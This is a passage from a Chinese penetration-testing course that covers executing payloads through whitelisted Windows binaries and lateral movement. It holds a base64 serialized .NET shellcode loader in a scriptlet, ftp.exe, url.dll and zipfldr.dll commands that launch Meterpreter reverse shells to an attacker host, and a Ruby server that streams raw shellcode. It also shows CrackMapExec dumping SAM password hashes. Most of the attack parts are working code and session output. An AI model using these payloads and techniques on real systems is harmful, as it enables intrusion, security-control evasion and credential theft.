"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 107. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 108. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 109. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 110. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 111. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 112. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+ 113. "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAA8AgAAAAAAAAAAAAA8AjQAAABW"+ 114. "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+ 115. "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+ 116. "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEnAEAAAEAUwB0AHIAaQBuAGcA"+ 117. "RgBpAGwAZQBJAG4AZgBvAAAAeAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+ 118. "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+ 119. "AAAAADAALgAwAC4AMAAuADAAAAA0AAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAADIAMgAy"+ 120. "ADIALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAADwA"+ 121. "CQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAAyADIAMgAyAC4AZABsAGwAAAAA"+ 122. "ADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAA4AAgA"+ 123. "AQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAA"+ 124. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 125. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 126. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 127. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 128. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 129. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 130. "AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVm"+ 131. "bGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"; 132. varentry_class='ShellCodeLauncher.Program'; 133. 134. try{ 135. setversion(); 136. varstm=base64ToStream(serialized_obj); 137. varfmt=new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); 138. varal=newActiveXObject('System.Collections.ArrayList'); 139. vard=fmt.Deserialize_2(stm); 140. al.Add(undefined); 141. varo=d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); 142. }catch(e){ 143. debug(e.message); 144. } 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -558- 本文档使用书栈(BookStack.CN)构建 145. ]]> 146. </script> 147. </registration> 148. </scriptlet> Micropoor 第八十七课:基于白名单Cmstp.exe执行payload第十六季 -559- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。 说明:Ftp.exe所在路径已被系统添加PATH环境变量中,因此,Ftp.exe命令可识别。 Windows2003默认位置: 1. C:\Windows\System32\ftp.exe 2. C:\Windows\SysWOW64\ftp.exe Windows7默认位置: 1. C:\Windows\System32\ftp.exe 2. C:\Windows\SysWOW64\ftp.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 注:需设置参数 setAutoRunScriptmigrate-f 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. 13. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 14. 15. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) Ftp.exe简介: 配置攻击机msf: 第八十八课:基于白名单Ftp.exe执行payload第十九季 -560- 本文档使用书栈(BookStack.CN)构建 16. 17. LPORT53yesThelistenport 18. 19. Exploittarget: 20. 21. IdName 22. ‐‐‐‐‐‐ 23. 0WildcardTarget 24. 25. msfexploit(multi/handler)>setAutoRunScriptmigrate‐f 26. 27. AutoRunScript=>migrate‐f 28. 29. msfexploit(multi/handler)>exploit 1. echo!C:\Users\John\Desktop\rev_x86_53_exe.exe>o&echoquit>>o&ftp‐n‐s:o &del/F/Qo 1. msfexploit(multi/handler)>setAutoRunScriptmigrate‐f 2. AutoRunScript=>migrate‐f 靶机执行: 第八十八课:基于白名单Ftp.exe执行payload第十九季 -561- 本文档使用书栈(BookStack.CN)构建 3. msfexploit(multi/handler)>exploit 4. 5. [*]StartedreverseTCPhandleron192.168.1.4:53 6. [*]Sendingstage(179779bytes)to192.168.1.3 7. [*]Meterpretersession10opened(192.168.1.4:53‐>192.168.1.3:5530) 8. at2019‐01‐2105:14:57‐0500 9. [*]SessionID10(192.168.1.4:53‐>192.168.1.3:5530)processingAutoRunScript 'migrate‐f' 10. [!]Meterpreterscriptsaredeprecated.Trypost/windows/manage/migrate. 11. [!]Example:runpost/windows/manage/migrateOPTION=value[...] 12. [*]Currentserverprocess:rev_x86_53_exe.exe(8832) 13. [*]Spawningnotepad.exeprocesstomigrateto 14. [+]Migratingto8788 Micropoor 第八十八课:基于白名单Ftp.exe执行payload第十九季 -562- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。痛风可伴发肥胖症、高血压病、糖尿病、脂 代谢紊乱等多种代谢性疾病。 url.dll是Internet快捷壳扩展相关应用程序接口系统文件。 说明:url.dll所在路径已被系统添加PATH环境变量中,因此,url.dll命令可识别,但由于为dll 文件,需调用rundll32.exe来执行。 Windows2003默认位置: C:\Windows\System32\url.dll C:\Windows\SysWOW64\url.dll Windows7默认位置: C:\Windows\System32\url.dll C:\Windows\SysWOW64\url.dll 攻击机:192.168.1.4Debian 靶机:192.168.1.3Windows7 msfexploit(multi/handler)>showoptions Moduleoptions(exploit/multi/handler): NameCurrentSettingRequiredDescription ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Payloadoptions(windows/meterpreter/reverse_tcp): NameCurrentSettingRequiredDescription ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process, none) LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) LPORT53yesThelistenport Url.dll简介: 配置攻击机msf: 第八十九课:基于白名单Url.dll执行payload第十七季 -563- 本文档使用书栈(BookStack.CN)构建 Exploittarget: IdName ‐‐‐‐‐‐ 0WildcardTarget msfexploit(multi/handler)>exploit [*]StartedreverseTCPhandleron192.168.1.4:53 rundll32.exeurl.dll,FileProtocolHandler file://C:\Users\John\Desktop\Micropoor_url_dll.hta msfexploit(multi/handler)>exploit [*]StartedreverseTCPhandleron192.168.1.4:53 [*]Sendingstage(179779bytes)to192.168.1.3 [*]Meterpretersession5opened(192.168.1.4:53‐>192.168.1.3:5018)at 2019‐01‐2104:41:43‐0500 靶机执行: 第八十九课:基于白名单Url.dll执行payload第十七季 -564- 本文档使用书栈(BookStack.CN)构建 meterpreter>getuid Serverusername:John‐PC\John meterpreter>getpid Currentpid:8584 同样可以调用url.dll下载payload: rundll32.exeurl.dll,OpenURLhttp://192.168.1.4/Micropoor_url_dll.hta ```visualbasic Micropoor 附录:Micropoor_url_dll.hta 第八十九课:基于白名单Url.dll执行payload第十七季 -565- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 zipfldr.dll自Windowsxp开始自带的zip文件压缩/解压工具组件。 说明:zipfldr.dll所在路径已被系统添加PATH环境变量中,因此,zipfldr.dll命令可识别,但 由于为dll文件,需调用rundll32.exe来执行。 Windows2003默认位置: 1. C:\Windows\System32\zipfldr.dll 2. C:\Windows\SysWOW64\zipfldr.dll Windows7默认位置: 1. C:\Windows\System32\zipfldr.dll 2. C:\Windows\SysWOW64\zipfldr.dll 攻击机: 192.168.1.4Debian 靶机: 192.168.1.3Windows7 192.168.1.3Windows2003 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) zipfldr.dll简介: 配置攻击机msf: 第九十课:基于白名单zipfldr.dll执行payload第十八季 -566- 本文档使用书栈(BookStack.CN)构建 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. msfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 1. rundll32.exezipfldr.dll,RouteTheCall\\192.168.1.119\share\rev_x86_53_exe.exe 1. msfexploit(multi/handler)>exploit 靶机执行: 第九十课:基于白名单zipfldr.dll执行payload第十八季 -567- 本文档使用书栈(BookStack.CN)构建 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. [*]Sendingstage(179779bytes)to192.168.1.3 5. [*]Meterpretersession7opened(192.168.1.4:53‐>192.168.1.3:5245)at 6. 2019‐01‐2104:55:44‐0500 7. 8. meterpreter>getuid 9. Serverusername:John‐PC\John 10. meterpreter>getpid 11. Currentpid:6988 Micropoor 第九十课:基于白名单zipfldr.dll执行payload第十八季 -568- 本文档使用书栈(BookStack.CN)构建 ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等。 同样它支持多国语言 1. root@John:tmp#exiftool‐langzh‐cn‐a‐u‐g1 ./55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg 2. ‐‐‐‐ExifTool‐‐‐‐ Exiftool简介: 第九十一课:从目标文件中做信息搜集第一季 -569- 本文档使用书栈(BookStack.CN)构建 3. ExifTool版本:11.16 4. ‐‐‐‐System‐‐‐‐ 5. 文件名:55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg 6. 文件存储位置:. 7. 文件大小:84kB 8. 更新日期:2019:01:2020:07:57‐05:00 9. FileAccessDate/Time:2019:01:2108:00:14‐05:00 10. FileInodeChangeDate/Time:2019:01:2107:59:58‐05:00 11. FilePermissions:rw‐r‐‐r‐‐ 12. ‐‐‐‐File‐‐‐‐ 13. 文件格式:JPEG 14. FileTypeExtension:jpg 15. MIMEType:image/jpeg 16. 像宽:580 17. 像高:773 18. EncodingProcess:BaselineDCT,Huffmancoding 19. 每个组件的比特数:8 20. ColorComponents:3 21. YCC像素结构(Y至C的子采样率):YCbCr4:2:0(22) 22. ‐‐‐‐JFIF‐‐‐‐ 23. JFIF版本:1.01 24. 图像高宽分辨率单位:英寸 25. XResolution:1 26. YResolution:1 27. ‐‐‐‐Composite‐‐‐‐ 28. 图像尺寸:580x773 29. Megapixels:0.44830 第九十一课:从目标文件中做信息搜集第一季 -570- 本文档使用书栈(BookStack.CN)构建 在大型内网渗透中,尤其是针对办公机的渗透,需要熟知目标集体或者个人的作息时间,工作时间,文 档时间,咖啡时间,或者需要从某些文件中获取对方的真实拍摄地坐标等。那么无疑需要快速的从大量 文件中筛选信息诉求。当目标越复杂,文件中的信息搜集就更为重要。如文档作者,技术文章作者,财 务文档作者等,熟知在大量人员,获取对方职务,大大减少渗透过程中的无用性,重复性,可见性。与 暴露性。而作为公司,应该熟悉相关文档的内置属性,尤其是在共享文件服务器上,删除或者复写敏感 信息来降低企业安全风险。本篇意旨企业安全在处理本公司相关敏感文件以及重要文件应做好更多的防 范,尤其是重要部门,如研发,财务等。 Micropoor 第九十一课:从目标文件中做信息搜集第一季 -571- 本文档使用书栈(BookStack.CN)构建 攻击机:192.168.1.4Debian 靶机:192.168.1.2Windows2008 目标机安装:360卫士+360杀毒 1. [*]磁盘列表[C:D:E:] 2. C:\inetpub\wwwroot\>tasklist 3. 4. 映像名称PID会话名会话\#内存使用 5. ======================================================================== 6. 7. SystemIdleProcess0024K 8. System40372K 9. smss.exe2360956K 10. csrss.exe32405,572K 11. csrss.exe364114,452K 12. wininit.exe37204,508K 13. winlogon.exe40815,364K 14. services.exe46807,376K 15. lsass.exe47609,896K 16. lsm.exe48403,876K 17. svchost.exe57608,684K 18. vmacthlp.exe63203,784K 19. svchost.exe67607,384K 20. svchost.exe764012,716K 21. svchost.exe800029,792K 22. svchost.exe848011,248K 23. svchost.exe90009,308K 24. svchost.exe940016,184K 25. svchost.exe332011,800K 26. spoolsv.exe548015,568K 27. svchost.exe105208,228K 28. svchost.exe107608,808K 29. svchost.exe114402,576K 30. VGAuthService.exe1216010,360K 31. vmtoolsd.exe1300018,068K 32. ManagementAgentHost.exe133208,844K 33. svchost.exe1368011,884K 34. WmiPrvSE.exe1768013,016K 35. dllhost.exe1848011,224K 36. msdtc.exe194007,736K 37. WmiPrvSE.exe1440019,768K 第九十二课:实战中的Payload应用 -572- 本文档使用书栈(BookStack.CN)构建 38. mscorsvw.exe29604,732K 39. mscorsvw.exe58405,088K 40. sppsvc.exe147608,408K 41. taskhost.exe261216,344K 42. dwm.exe286814,604K 43. explorer.exe2896144,912K 44. vmtoolsd.exe3008117,744K 45. TrustedInstaller.exe2268015,776K 46. 360Tray.exe268416,056K 47. 360sd.exe263611,316K 48. ZhuDongFangYu.exe2456014,292K 49. 360rp.exe1712127,072K 50. SoftMgrLite.exe864116,816K 51. w3wp.exe3300042,836K 52. svchost.exe384004,584K 53. notepad.exe371215,772K 54. cmd.exe338402,376K 55. conhost.exe352003,420K 56. tasklist.exe309605,276K58 第九十二课:实战中的Payload应用 -573- 本文档使用书栈(BookStack.CN)构建 1. C:\>dir 2. 驱动器C中的卷没有标签。 3. 卷的序列号是C6F8‐9BAB 4. 5. C:\的目录 6. 2017/12/1303:28<DIR>inetpub 7. 2009/07/1411:20<DIR>PerfLogs 8. 2017/12/1303:28<DIR>ProgramFiles 9. 2019/01/2314:09<DIR>ProgramFiles(x86) 第九十二课:实战中的Payload应用 -574- 本文档使用书栈(BookStack.CN)构建 10. 2019/01/2314:15<DIR>Users 11. 2017/12/1303:25<DIR>Windows 12. 0个文件0字节 13. 6个目录21,387,132,928可用字节 1. C:\>ver 2. MicrosoftWindows[版本6.1.7600] 1. root@John:/var/www/html#cat./Micropoor_rev.rb 2. 3. require'socket' 目标机位x64位Windows2008 配置payload: 第九十二课:实战中的Payload应用 -575- 本文档使用书栈(BookStack.CN)构建 4. ifARGV.empty? 5. puts"Usage:" 6. puts"Micropoor.rbport" 7. exit 8. end 9. 10. PORT=ARGV.first.to_i 11. 12. defhandle_connection(client) 13. puts"Payloadison‐line\#{client}" 14. client.write("4831c94881e9c0ffffff488d05efffffff48bb32667fcceeadb9f74 15. 8315827482df8ffffffe2f4ce2efc281e4575f732663e9daffdeba6642e4e1e8be532a552 16. 2ef49ef6e532a5122ef4bebee5b640782c32fd27e588379e5a1eb0ec8199b6f3af728def6 17. c5b1a60272e8465ff997c705a37cd3ecb388f2a6d7dc36bdfb9f732edff44eeadb9bfb7a6 18. 0baba6ac69a7b92e678865ed99be33b69c9aa65270b6b952f784ef7bf4c6fb2e4e0c42ec7 19. 83e3f277e0dd64dcc067e6533e8e6e8802647be278865ed9dbe33b6198d65a1f1b3b92663 20. 85ef7df87c36ee37cd3eece1b66a382696aff5f8ae733c374f028df8a5cd86278db7f7f17 21. c208f34331152e4be8c110cfeb19e8bf732272985674bf176dec67ecceee430127bda7dcc 22. ee98795f33623e98a7245dbbbb973e76a2da9ff0cdb3334504c5b8f63266268d5484399c3 23. 299aaa6e4ece7a7622b4e05a39c79bfcda637452ce546377aefbe8d5447b628d299aa8467 24. 6ad3e7733e33450ce5300e73dce6699acc4622b7a60bc6a7527782d78eeccceeadf174de7 25. 637450ce0883e58623e94a62440b68864a604b1526c74ca660199a62e7dd76cef89a6aeec 26. e09f32767fccaff5f17ec02e4e05af17e15361838019a6247abebba132fd27e430077aefa 27. 5846754f84d30bfb79311783a0f321b5794affae09f32267fccaff5d3f76827c5c7c1a289 28. 08e731268d54d8d7ba5399aa85116350cbcd998084ef6ef1def42efa3a9b19f808d53e15ccb7e47e35c2d3d 29. 30. client.close 31. end 32. 33. socket=TCPServer.new('0.0.0.0',PORT) 34. puts"Listeningon\#{PORT}." 35. 36. whileclient=socket.accept 37. Thread.new{handle_connection(client)} 38. end 39. 40. root@John:/var/www/html#ruby./Micropoor_rev.rb8080 41. 42. Listeningon8080. 第九十二课:实战中的Payload应用 -576- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>useexploit/multi/handler 2. msfexploit(multi/handler)>setpayloadwindows/x64/meterpreter/reverse_tcp 3. payload=>windows/x64/meterpreter/reverse_tcp 上传Micropoor_shellcode_x64.exe 配置msf: 第九十二课:实战中的Payload应用 -577- 本文档使用书栈(BookStack.CN)构建 4. msfexploit(multi/handler)>showoptions 5. Moduleoptions(exploit/multi/handler): 6. 7. NameCurrentSettingRequiredDescription 8. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 9. Payloadoptions(windows/x64/meterpreter/reverse_tcp): 10. 11. NameCurrentSettingRequiredDescription 12. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 13. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 14. 15. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. msfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 第九十二课:实战中的Payload应用 -578- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. [*]Sendingstage(206403bytes)to192.168.1.2 5. [*]Meterpretersession6opened(192.168.1.4:53‐>192.168.1.2:49744) 6. at2019‐01‐2301:29:00‐0500 7. 8. meterpreter>getuid 9. Serverusername:IISAPPPOOL\DefaultAppPool 10. meterpreter>sysinfo 11. Computer:WIN‐5BMI9HGC42S 靶机执行: 第九十二课:实战中的Payload应用 -579- 本文档使用书栈(BookStack.CN)构建 12. OS:Windows2008R2(Build7600). 13. Architecture:x64 14. SystemLanguage:zh_CN 15. Domain:WORKGROUP 16. LoggedOnUsers:1 17. Meterpreter:x64/windows 18. meterpreter>ipconfig 19. 20. Interface1 21. ============ 22. Name:SoftwareLoopbackInterface1 23. HardwareMAC:00:00:00:00:00:00 24. MTU:4294967295 25. IPv4Address:127.0.0.1 26. IPv4Netmask:255.0.0.0 27. IPv6Address:::1 28. IPv6Netmask:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 29. 30. Interface11 31. ============ 32. Name:Intel(R)PRO/1000MTNetworkConnection 33. HardwareMAC:00:0c:29:bc:0d:5c 34. MTU:1500 35. IPv4Address:192.168.1.2 36. IPv4Netmask:255.255.255.0 37. IPv6Address:fe80::5582:70c8:a5a8:8223 38. IPv6Netmask:ffff:ffff:ffff:ffff:: 第九十二课:实战中的Payload应用 -580- 本文档使用书栈(BookStack.CN)构建 1. meterpreter>ps 2. 3. ProcessList 4. ============ 5. 6. PIDPPIDNameArchSessionUserPath 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. 00[SystemProcess] 9. 40System 10. 2364smss.exe 第九十二课:实战中的Payload应用 -581- 本文档使用书栈(BookStack.CN)构建 11. 296468mscorsvw.exe 12. 324316csrss.exe 13. 332468svchost.exe 14. 364356csrss.exe 15. 372316wininit.exe 16. 408356winlogon.exe 17. 468372services.exe 18. 476372lsass.exe 19. 484372lsm.exe 20. 548468spoolsv.exe 21. 576468svchost.exe 22. 584468mscorsvw.exe 23. 632468vmacthlp.exe 24. 676468svchost.exe 25. 764468svchost.exe 26. 800468svchost.exe 27. 848468svchost.exe 28. 8642684SoftMgrLite.exe 29. 900468svchost.exe 30. 940468svchost.exe 31. 1052468svchost.exe 32. 1076468svchost.exe 33. 1144468svchost.exe 34. 1216468VGAuthService.exe 35. 1300468vmtoolsd.exe 36. 1332468ManagementAgentHost.exe 37. 1368468svchost.exe 38. 1440576WmiPrvSE.exe 39. 1476468sppsvc.exe 40. 17122636360rp.exe 41. 1768576WmiPrvSE.exe 42. 1848468dllhost.exe 43. 1940468msdtc.exe 44. 2456468ZhuDongFangYu.exe 45. 2612468taskhost.exe 46. 26361096360sd.exe 47. 26841096360Tray.exe 48. 27883408Micropoor_shellcode_x64.exex640IISAPPPOOL\DefaultAppPool C:\inetpub\wwwroot\Micropoor_shellcode_x64.exe 49. 2868900dwm.exe 50. 28962852explorer.exe 51. 30082896vmtoolsd.exe 第九十二课:实战中的Payload应用 -582- 本文档使用书栈(BookStack.CN)构建 52. 3196468svchost.exe 53. 33001368w3wp.exex640IISAPPPOOL\DefaultAppPool c:\windows\system32\inetsrv\w3wp.exe 54. 34083300cmd.exex640IISAPPPOOL\DefaultAppPoolC:\Windows\system32\cmd.exe 55. 37122896notepad.exe 56. 4092324conhost.exex640IISAPPPOOL\DefaultAppPool C:\Windows\system32\conhost.exe 57. 58. meterpreter> 靶机: 第九十二课:实战中的Payload应用 -583- 本文档使用书栈(BookStack.CN)构建 Micropoor_shellcodeforpayloadbackdoor https://micropoor.blogspot.com/2019/01/micropoorshellcode-for-payload- backdoor.html Micropoor 附录: 第九十二课:实战中的Payload应用 -584- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,痛风等。 CrackMapExec弥补了MSF4下auxiliary,scanner模块下的Command执行方式,但MSF5已解决该 问题。在MSF4下,该框架针对后渗透的横向移动经常出现,虽然MSF5已解决该问题,但该框架在配合 bloodhound与empire依然目前有一定优势。 安装方式:fromWiki: 1. apt‐getinstallcrackmapexec 但作者推荐pipenv安装: 1. apt‐getinstall‐ylibssl‐devlibffi‐devpython‐devbuild‐essential 2. pipinstall‐‐userpipenv 3. gitclone‐‐recursivehttps://github.com/byt3bl33d3r/CrackMapExec 4. cdCrackMapExec&&pipenvinstall 5. pipenvshell 6. pythonsetup.pyinstall 1. pipinstall‐‐usercrackmapexec 默认为100线程 1. cmesmb192.168.1.0/24 2. SMB192.168.1.4445JOHN‐PC[*]Windows7Ultimate7601ServicePack1 3. x64(name:JOHN‐PC)(domain:JOHN‐PC)(signing:False)(SMBv1:True) 4. SMB192.168.1.119445WIN03X64[*]WindowsServer2003R23790Service 5. Pack2x32(name:WIN03X64)(domain:WIN03X64)(signing:False)(SMBv1:True) 密码策略 1. root@John:~#cmesmb192.168.1.119‐uadministrator‐p'123456'‐‐pass‐pol 2. SMB192.168.1.119445WIN03X64[*]WindowsServer2003R23790Service 3. Pack2x32(name:WIN03X64)(domain:WIN03X64)(signing:False)(SMBv1:True) Kali: MacOSX: 第九十三课:与CrackMapExec结合攻击 -585- 本文档使用书栈(BookStack.CN)构建 4. SMB192.168.1.119445WIN03X64[+]WIN03X64\administrator:123456(Pwn3d!) 5. SMB192.168.1.119445WIN03X64[+]Dumpingpasswordinfofordomain:WIN03X64 6. SMB192.168.1.119445WIN03X64Minimumpasswordlength:None 7. SMB192.168.1.119445WIN03X64Passwordhistorylength:None 8. SMB192.168.1.119445WIN03X64Maximumpasswordage:42days22hours47 minutes 9. SMB192.168.1.119445WIN03X64 10. SMB192.168.1.119445WIN03X64PasswordComplexityFlags:000000 11. SMB192.168.1.119445WIN03X64DomainRefusePasswordChange:0 12. SMB192.168.1.119445WIN03X64DomainPasswordStoreCleartext:0 13. SMB192.168.1.119445WIN03X64DomainPasswordLockoutAdmins:0 14. SMB192.168.1.119445WIN03X64DomainPasswordNoClearChange:0 15. SMB192.168.1.119445WIN03X64DomainPasswordNoAnonChange:0 16. SMB192.168.1.119445WIN03X64DomainPasswordComplex:0 17. SMB192.168.1.119445WIN03X64 18. SMB192.168.1.119445WIN03X64Minimumpasswordage:None 19. SMB192.168.1.119445WIN03X64ResetAccountLockoutCounter:30minutes 20. SMB192.168.1.119445WIN03X64LockedAccountDuration:30minutes 21. SMB192.168.1.119445WIN03X64AccountLockoutThreshold:None 22. SMB192.168.1.119445WIN03X64ForcedLogoffTime:NotSet listhash 1. root@John:~#cmesmb192.168.1.119‐uadministrator‐p'123456'‐‐sam 2. SMB192.168.1.119445WIN03X64[*]WindowsServer2003R23790Service 3. Pack2x32(name:WIN03X64)(domain:WIN03X64)(signing:False)(SMBv1:True) 4. SMB192.168.1.119445WIN03X64[+]WIN03X64\administrator:123456(Pwn3d!) 5. SMB192.168.1.119445WIN03X64[+]DumpingSAMhashes 6. SMB192.168.1.119445WIN03X64 Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 7. SMB192.168.1.119445WIN03X64 Guest:501:aad3b435b51404eeaad3b435b51404ee:67f33d2095bda39fbf6b63fbadf2313a::: 第九十三课:与CrackMapExec结合攻击 -586- 本文档使用书栈(BookStack.CN)构建 8. SMB192.168.1.119445WIN03X64 SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:f4d13c67c7608094c9b0e39147f07520 9. SMB192.168.1.119445WIN03X64 IUSR_WIN03X64:1003:dbec20afefb6cc332311fb9822ba61ce:68c22a11c400d91fa4f66ff36b3c15dc 10. SMB192.168.1.119445WIN03X64 IWAM_WIN03X64:1004:ff783381e4e022de176c59bf598409c7:7e456daac229ddceccf5f367aa69a487 11. SMB192.168.1.119445WIN03X64 ASPNET:1008:cc26551b70faffc095feb73db16b65ff:fec6e9e4a08319a1f62cd30447247f88::: 12. SMB192.168.1.119445WIN03X64[+]Added6SAMhashestothedatabase 枚举组 1. root@John:~#cmesmb192.168.1.119‐uadministrator‐p'123456'‐‐local‐groups 2. SMB192.168.1.119445WIN03X64[\*]WindowsServer2003R23790Service 3. Pack2x32(name:WIN03X64)(domain:WIN03X64)(signing:False)(SMBv1:True) 4. SMB192.168.1.119445WIN03X64[+]WIN03X64\administrator:123456(Pwn3d!) 5. SMB192.168.1.119445WIN03X64[+]Enumeratedlocalgroups 6. SMB192.168.1.119445WIN03X64HelpServicesGroupmembercount:1 7. SMB192.168.1.119445WIN03X64IIS_WPGmembercount:4 8. SMB192.168.1.119445WIN03X64TelnetClientsmembercount:0 9. SMB192.168.1.119445WIN03X64Administratorsmembercount:1 10. 